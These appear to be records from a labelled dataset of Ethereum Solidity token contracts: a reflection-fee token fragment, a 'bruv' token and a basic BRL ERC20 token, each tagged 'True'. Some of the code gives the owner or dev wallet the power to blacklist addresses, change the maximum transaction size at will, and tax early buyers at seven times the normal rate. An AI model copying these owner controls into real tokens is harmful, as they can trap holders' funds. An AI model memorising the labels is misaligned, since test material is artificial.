_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(!tradingActive){
require(_isExcludedFromFee[from] || _isExcludedFromFee[to], "Trading is not active yet.");
}
if(limitsInEffect){
if (
from != owner() &&
to != owner() &&
to != address(0) &&
to != address(0xdead) &&
!inSwapAndLiquify
){
if(from != owner() && to != uniswapV2Pair && block.number == tradingActiveBlock){
boughtEarly[to] = true;
emit BoughtEarly(to);
}
// only use to prevent sniper buys in the first blocks.
if (gasLimitActive && automatedMarketMakerPairs[from]) {
require(tx.gasprice <= gasPriceLimit, "Gas price exceeds limit.");
}
// at launch if the transfer delay is enabled, ensure the block timestamps for purchasers is set -- during launch.
if (transferDelayEnabled){
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)){
require(_holderLastTransferTimestamp[to] < block.number && _holderLastTransferTimestamp[tx.origin] < block.number, "_transfer:: Transfer Delay enabled. Only one purchase per block allowed.");
_holderLastTransferTimestamp[to] = block.number;
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
//when buy
if (automatedMarketMakerPairs[from] && !_isExcludedMaxTransactionAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the maxTransactionAmount.");
}
//when sell
else if (automatedMarketMakerPairs[to] && !_isExcludedMaxTransactionAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the maxTransactionAmount.");
}
if (!_isExcludedMaxTransactionAmount[to]) {
require(balanceOf(to) + amount <= maxWalletAmount, "Max wallet exceeded");
}
}
}
uint256 totalTokensToSwap = _liquidityTokensToSwap.add(_marketingTokensToSwap);
uint256 contractTokenBalance = balanceOf(address(this));
bool overMinimumTokenBalance = contractTokenBalance >= minimumTokensBeforeSwap;
// swap and liquify
if (
!inSwapAndLiquify &&
swapAndLiquifyEnabled &&
balanceOf(uniswapV2Pair) > 0 &&
totalTokensToSwap > 0 &&
!_isExcludedFromFee[to] &&
!_isExcludedFromFee[from] &&
automatedMarketMakerPairs[to] &&
overMinimumTokenBalance
) {
swapBack();
}
bool takeFee = true;
// If any account belongs to _isExcludedFromFee account then remove the fee
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
buyOrSellSwitch = TRANSFER; // TRANSFERs do not pay a tax.
} else {
// Buy
if (automatedMarketMakerPairs[from]) {
removeAllFee();
_taxFee = _buyTaxFee;
_liquidityFee = _buyLiquidityFee + _buyMarketingFee;
buyOrSellSwitch = BUY;
}
// Sell
else if (automatedMarketMakerPairs[to]) {
removeAllFee();
_taxFee = _sellTaxFee;
_liquidityFee = _sellLiquidityFee + _sellMarketingFee;
buyOrSellSwitch = SELL;
// higher tax if bought in the same block as trading active for 30 days (sniper protect)
if(boughtEarly[from] && earlyBuyPenaltyEnd > block.timestamp){
_taxFee = _taxFee * 7;
_liquidityFee = _liquidityFee * 7;
}
// Normal transfers do not get taxed
} else {
require(!boughtEarly[from] || earlyBuyPenaltyEnd <= block.timestamp, "Snipers can't transfer tokens to sell cheaper until penalty timeframe is over. DM a Mod.");
removeAllFee();
buyOrSellSwitch = TRANSFER; // TRANSFERs do not pay a tax.
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapBack() private lockTheSwap {
uint256 contractBalance = balanceOf(address(this));
uint256 totalTokensToSwap = _liquidityTokensToSwap + _marketingTokensToSwap;
// Halve the amount of liquidity tokens
uint256 tokensForLiquidity = _liquidityTokensToSwap.div(2);
uint256 amountToSwapForETH = contractBalance.sub(tokensForLiquidity);
uint256 initialETHBalance = address(this).balance;
swapTokensForETH(amountToSwapForETH);
uint256 ethBalance = address(this).balance.sub(initialETHBalance);
uint256 ethForMarketing = ethBalance.mul(_marketingTokensToSwap).div(totalTokensToSwap);
uint256 ethForLiquidity = ethBalance.sub(ethForMarketing);
uint256 ethForDev= ethForMarketing * 1 / 2; // 1/2 goes to development
ethForMarketing -= ethForDev;
_liquidityTokensToSwap = 0;
_marketingTokensToSwap = 0;
(bool success,) = address(marketingAddress).call{value: ethForMarketing}("");
(success,) = address(devAddress).call{value: ethForDev}("");
addLiquidity(tokensForLiquidity, ethForLiquidity);
emit SwapAndLiquify(amountToSwapForETH, ethForLiquidity, tokensForLiquidity);
// send leftover BNB to the marketing wallet so it doesn't get stuck on the contract.
if(address(this).balance > 1e17){
(success,) = address(marketingAddress).call{value: address(this).balance}("");
}
}
// force Swap back if slippage above 49% for launch.
function forceSwapBack() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
require(contractBalance >= _tTotal / 100, "Can only swap back if more than 1% of tokens stuck on contract");
swapBack();
emit OwnerForcedSwapBack(block.timestamp);
}
function swapTokensForETH(uint256 tokenAmount) private {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0, // accept any amount of ETH
path,
address(this),
block.timestamp
);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
liquidityAddress,
block.timestamp
);
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
if (_isExcluded[sender] && !_isExcluded[recipient]) {
_transferFromExcluded(sender, recipient, amount);
} else if (!_isExcluded[sender] && _isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else if (_isExcluded[sender] && _isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (
rAmount,
rTransferAmount,
rFee,
tTransferAmount,
tFee,
tLiquidity
);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
if(buyOrSellSwitch == BUY){
_liquidityTokensToSwap += tLiquidity * _buyLiquidityFee / _liquidityFee;
_marketingTokensToSwap += tLiquidity * _buyMarketingFee / _liquidityFee;
} else if(buyOrSellSwitch == SELL){
_liquidityTokensToSwap += tLiquidity * _sellLiquidityFee / _liquidityFee;
_marketingTokensToSwap += tLiquidity * _sellMarketingFee / _liquidityFee;
}
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFee).div(10**2);
}
function removeAllFee() private {
if (_taxFee == 0 && _liquidityFee == 0) return;
_previousTaxFee = _taxFee;
_previousLiquidityFee = _liquidityFee;
_taxFee = 0;
_liquidityFee = 0;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
}
function isExcludedFromFee(address account) external view returns (bool) {
return _isExcludedFromFee[account];
}
function removeBoughtEarly(address account) external onlyOwner {
boughtEarly[account] = false;
emit RemovedSniper(account);
}
function excludeFromFee(address account) external onlyOwner {
_isExcludedFromFee[account] = true;
emit ExcludeFromFee(account);
}
function includeInFee(address account) external onlyOwner {
_isExcludedFromFee[account] = false;
emit IncludeInFee(account);
}
function setBuyFee(uint256 buyTaxFee, uint256 buyLiquidityFee, uint256 buyMarketingFee)
external
onlyOwner
{
_buyTaxFee = buyTaxFee;
_buyLiquidityFee = buyLiquidityFee;
_buyMarketingFee = buyMarketingFee;
require(_buyTaxFee + _buyLiquidityFee + _buyMarketingFee <= 15, "Must keep buy taxes below 15%");
emit SetBuyFee(buyMarketingFee, buyLiquidityFee, buyTaxFee);
}
function setSellFee(uint256 sellTaxFee, uint256 sellLiquidityFee, uint256 sellMarketingFee)
external
onlyOwner
{
_sellTaxFee = sellTaxFee;
_sellLiquidityFee = sellLiquidityFee;
_sellMarketingFee = sellMarketingFee;
require(_sellTaxFee + _sellLiquidityFee + _sellMarketingFee <= 15, "Must keep sell taxes below 15%");
emit SetSellFee(sellMarketingFee, sellLiquidityFee, sellTaxFee);
}
function setMarketingAddress(address _marketingAddress) external onlyOwner {
require(_marketingAddress != address(0), "_marketingAddress address cannot be 0");
_isExcludedFromFee[marketingAddress] = false;
marketingAddress = payable(_marketingAddress);
_isExcludedFromFee[marketingAddress] = true;
emit UpdatedMarketingAddress(_marketingAddress);
}
function setLiquidityAddress(address _liquidityAddress) public onlyOwner {
require(_liquidityAddress != address(0), "_liquidityAddress address cannot be 0");
liquidityAddress = payable(_liquidityAddress);
_isExcludedFromFee[liquidityAddress] = true;
emit UpdatedLiquidityAddress(_liquidityAddress);
}
function setSwapAndLiquifyEnabled(bool _enabled) public onlyOwner {
swapAndLiquifyEnabled = _enabled;
emit SwapAndLiquifyEnabledUpdated(_enabled);
}
// To receive ETH from uniswapV2Router when swapping
receive() external payable {}
function transferForeignToken(address _token, address _to)
external
onlyOwner
returns (bool _sent)
{
require(_token != address(0), "_token address cannot be 0");
require(_token != address(this), "Can't withdraw native tokens");
uint256 _contractBalance = IERC20(_token).balanceOf(address(this));
_sent = IERC20(_token).transfer(_to, _contractBalance);
emit TransferForeignToken(_token, _contractBalance);
}
// withdraw ETH if stuck before launch
function withdrawStuckETH() external onlyOwner {
require(!tradingActive, "Can only withdraw if trading hasn't started");
bool success;
(success,) = address(msg.sender).call{value: address(this).balance}("");
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-11-12
*/
/*
https://t.me/bruvcoin
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract bruv is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "bruv";
string private constant _symbol = "BRUV";
uint8 private constant _decimals = 9;
//RFI
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _taxFee = 6;
uint256 private _redisfee = 2;
//Bots
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
address payable private _DevAddress;
address payable private _marketing;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor(address payable addr1, address payable addr2) {
_DevAddress = addr1;
_marketing = addr2;
_rOwned[_msgSender()] = _rTotal;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_DevAddress] = true;
_isExcludedFromFee[_marketing] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value:
address(this).balance}
(address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = false;
_maxTxAmount = 25000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function maxtx(uint256 maxTxpc) external {
require(_msgSender() == _DevAddress);
require(maxTxpc > 0);
_maxTxAmount = _tTotal.mul(maxTxpc).div(10**4);
emit MaxTxAmountUpdated(_maxTxAmount);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_taxFee == 0 && _redisfee == 0) return;
_taxFee = 0;
_redisfee = 0;
}
function restoreAllFee() private {
_taxFee = 6;
_redisfee = 2;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
if (cooldownEnabled) {
if (
from != address(this) &&
to != address(this) &&
from != address(uniswapV2Router) &&
to != address(uniswapV2Router)
) {
require(
_msgSender() == address(uniswapV2Router) ||
_msgSender() == uniswapV2Pair,
"ERR: Uniswap only"
);
}
}
require(amount <= _maxTxAmount);
require(!bots[from] && !bots[to]);
if (
from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled
) {
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (20 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
takeFee = false;
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_DevAddress.transfer(amount.div(2));
_marketing.transfer(amount.div(2));
}
function manualswap() external {
require(_msgSender() == _DevAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _DevAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _redisfee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
} | True | [
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] |
pragma solidity ^0.4.11;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/179
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint256 _value) returns (bool) {
require(_to != address(0));
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Standard ERC20 token
*
* @dev Implementation of the basic standard token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
*/
function transferFrom(address _from, address _to, uint256 _value) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// require (_value <= _allowance);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint256 _value) returns (bool) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
/**
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
*/
function increaseApproval (address _spender, uint _addedValue)
returns (bool success) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval (address _spender, uint _subtractedValue)
returns (bool success) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title BRLTOKEN
* @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator.
* Note they can later distribute these tokens as they wish using `transfer` and other
* `StandardToken` functions.
*/
contract BRLTOKEN is StandardToken {
string public constant name = "Brazilian Real";
string public constant symbol = "BRL";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 10000;
/**
* @dev Contructor that gives msg.sender all of existing tokens.
*/
function BRLTOKEN() {
totalSupply = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2021-05-12
*/
/**
